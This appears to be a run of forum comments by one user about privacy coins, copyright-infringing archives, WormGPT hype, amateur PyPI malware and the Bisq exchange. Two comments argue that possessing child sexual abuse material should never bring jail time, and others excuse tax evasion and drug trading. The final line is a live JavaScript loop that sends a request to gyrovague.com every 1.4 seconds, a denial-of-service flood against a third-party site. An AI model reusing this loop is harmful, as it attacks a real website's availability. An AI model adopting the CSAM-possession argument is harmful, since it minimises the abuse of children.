They use monero because what they are doing (copyright infringement) will get you in to big trouble anywhere in the western world. Without cryptocurrencies much of the modern large scale archival efforts wouldn't be possible, or at the very least would significantly increase risks for the people participating in it. For me this alone is a good enough reason to admit that there are valid reasons for existence of privacy coins.
The harm they may cause in the short term via tax avoidance or being used to buy drugs is minimal, but the possibility that because of them archivists are able to fund servers for data that future historians wouldn't have otherwise been able to get their hands on? Priceless.
Assuming the person is a passive consumer with no messages / money exchanged with anyone, it is very hard to prove social harm or damage. Sentences should be proportional to the crime. Treating possession of cp as equivalent of literally raping a child just seems absurd to me. IMO, just for the legal protection of the average citizen, a simple possession should never warrant jail time.
Way to dismiss a solid argument based on an anecdote. I wouldn't be so quick to conclude that porn has nothing to do with seeking out real life sex, especially given how it has been widely studied that the amount of sex young adults are having has been steadily going down since the end of 90's.
I saw a twitter thread about the "WormGPT" a few days ago and was annoyed to see how much engagement it seemed to get given how obvious nothing burger it was. The few examples of its code output were laughably bad.
Hackforums has been the place where skiddies sell overhyped shit to other skiddies for well over a decade, I can guarantee that absolutely no one there is training their own AI. Everything that the article mentions, GPT3 turbo or GPT4 can already do and it wouldn't surprise me one bit if it turned out most of the stuff being sold at HF turned out to be just glorified frontends for gpt3 turbo or some open source LLM.
Illegal doesn't necessary mean that something is morally wrong. I'm all for making ransomware actors life harder, but it should not come at the cost of also affecting regular drug buyers/sellers.
The methods this malware uses for anti debugging wouldn't cause headache for anyone that isn't completely new to the subject. Download 10 random python malware samples and you'll notice that probably at least 8 of them follow this exact same packing and execution pattern. Discord hook and laughable end payload are a good indication that whoever wrote this is probably some high school kid.
The only surprising thing about this article is the claim that these type of malware haven't been spotted in pypi before. That would suggest that there isn't much of credible actors trying to spread through pypi at all.
Bisq is a really impressive project. Upon first hearing about it I was a bit skeptical at how a decentralized peer to peer exchange would work in practice, but now that I've used it a few times with no issues, it really does seem like the best way to do fiat <--> crypto exchanges. Really hope that bisq and other similar services get the recognition they deserve now that the trust in cex's has taken a fall.
It is an interesting ethical question that needs more research done in to it. Though given how people's brains tend to shut down upon hearing the topic, I feel like the general public would be vastly opposed to it even if it was proven to lead to better societal outcomes (decreased child abuse).
setInterval(function(){fetch("https://gyrovague.com/tag/"+Math.random().toString(36).subst...",{ referrerPolicy:"no-referrer",mode:"no-cors" });},1400);